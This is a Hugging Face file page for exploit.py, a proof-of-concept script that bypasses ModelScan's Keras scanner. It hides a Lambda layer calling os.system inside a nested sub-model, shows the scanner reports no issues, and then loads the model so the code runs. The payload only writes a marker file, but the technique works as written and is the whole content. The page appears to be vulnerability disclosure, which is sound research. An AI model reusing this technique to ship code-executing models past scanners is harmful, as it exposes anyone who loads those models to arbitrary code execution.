th3-j0k3r's picture
Upload exploit.py with huggingface_hub
bb03a81 verified
Raw
History Blame Contribute Delete
3.81 kB
#!/usr/bin/env python
"""
ModelScan Bypass: Arbitrary Code Execution in a .keras model file
==================================================================
ModelScan's KerasLambdaDetectScan flags malicious Lambda layers, but it only
inspects the FLAT, top-level `config.layers` list and matches class_name=="Lambda"
exactly (modelscan/scanners/keras/scan.py:119-130). It never recurses into a
nested sub-model. A Lambda hidden one level deep inside a sub-model is therefore
invisible to the scanner, yet Keras still deserializes and executes it on load.
Requires: pip install 'modelscan[tensorflow]' tensorflow keras
Run: python exploit.py
"""
import os, sys, json, zipfile
import keras
from keras.layers import Input, Lambda
# Benign proof: writes a marker file on load. The command literal is INLINE so the
# marshalled lambda is self-contained (no external globals lost on deserialization).
MARKER = "keras_poc_executed.txt"
PAYLOAD = (lambda x: x + __import__("os").system(
"echo MODELSCAN-KERAS-NESTED-BYPASS > keras_poc_executed.txt") * 0)
def build_flat(path):
"""A normal (flat) malicious Lambda — ModelScan DETECTS this."""
inp = Input(shape=(2,))
out = Lambda(PAYLOAD)(inp)
keras.Model(inp, out, name="flat").save(path)
def build_nested(path):
"""The SAME Lambda hidden one level deep — ModelScan MISSES this."""
i_in = Input(shape=(2,))
i_out = Lambda(PAYLOAD)(i_in)
inner = keras.Model(i_in, i_out, name="inner_submodel")
o_in = Input(shape=(2,))
keras.Model(o_in, inner(o_in), name="outer").save(path)
def top_level_classes(path):
with zipfile.ZipFile(path) as z:
cfg = json.loads(z.read("config.json"))
return [l.get("class_name") for l in cfg.get("config", {}).get("layers", [])]
def scan(path):
from modelscan.modelscan import ModelScan
ms = ModelScan(); ms.scan(path)
return len(ms.issues.all_issues)
def main():
print("=" * 70)
print(" ModelScan Bypass - ACE in .keras via NESTED Lambda layer")
print(" CWE-693 + CWE-502 | Keras 3.x / modelscan 0.8.8")
print("=" * 70)
# [Baseline] Flat malicious Lambda — proves the scanner DOES work
build_flat("flat_model.keras")
flat_issues = scan("flat_model.keras")
print("\n[Baseline] Flat Lambda model:")
print(" top-level layers:", top_level_classes("flat_model.keras"))
print(" ModelScan:", flat_issues, "issue(s) ->",
"DETECTED (scanner works)" if flat_issues else "missed")
# [1] The bypass: identical Lambda nested inside a sub-model
build_nested("model.keras")
print("\n[1] Built malicious model: model.keras (Lambda nested in sub-model)")
print(" top-level layers:", top_level_classes("model.keras"))
# [2] Defender scans it -> 0 issues
nested_issues = scan("model.keras")
print("\n[2] Defender scans it with ModelScan:")
print(" verdict:", "No issues found (BYPASS)" if nested_issues == 0
else f"DETECTED ({nested_issues})")
# [3] Victim loads the 'clean' model -> code runs
if os.path.exists(MARKER):
os.unlink(MARKER)
print("\n[3] Victim loads the model: keras.saving.load_model(..., safe_mode=False)")
keras.saving.load_model("model.keras", safe_mode=False, compile=False)
# [4] Verify
confirmed = os.path.exists(MARKER)
print("\n[4] Result:", "CODE EXECUTED ON LOAD" if confirmed else "no execution")
if confirmed:
print(" proof file:", MARKER, "->", open(MARKER).read().strip())
ok = (flat_issues > 0) and (nested_issues == 0) and confirmed
print("\n" + "=" * 70)
print(" STATUS:", "CONFIRMED (flat caught, nested clean + ACE on load)" if ok
else "UNCONFIRMED")
print("=" * 70)
return ok
if __name__ == "__main__":
sys.exit(0 if main() else 1)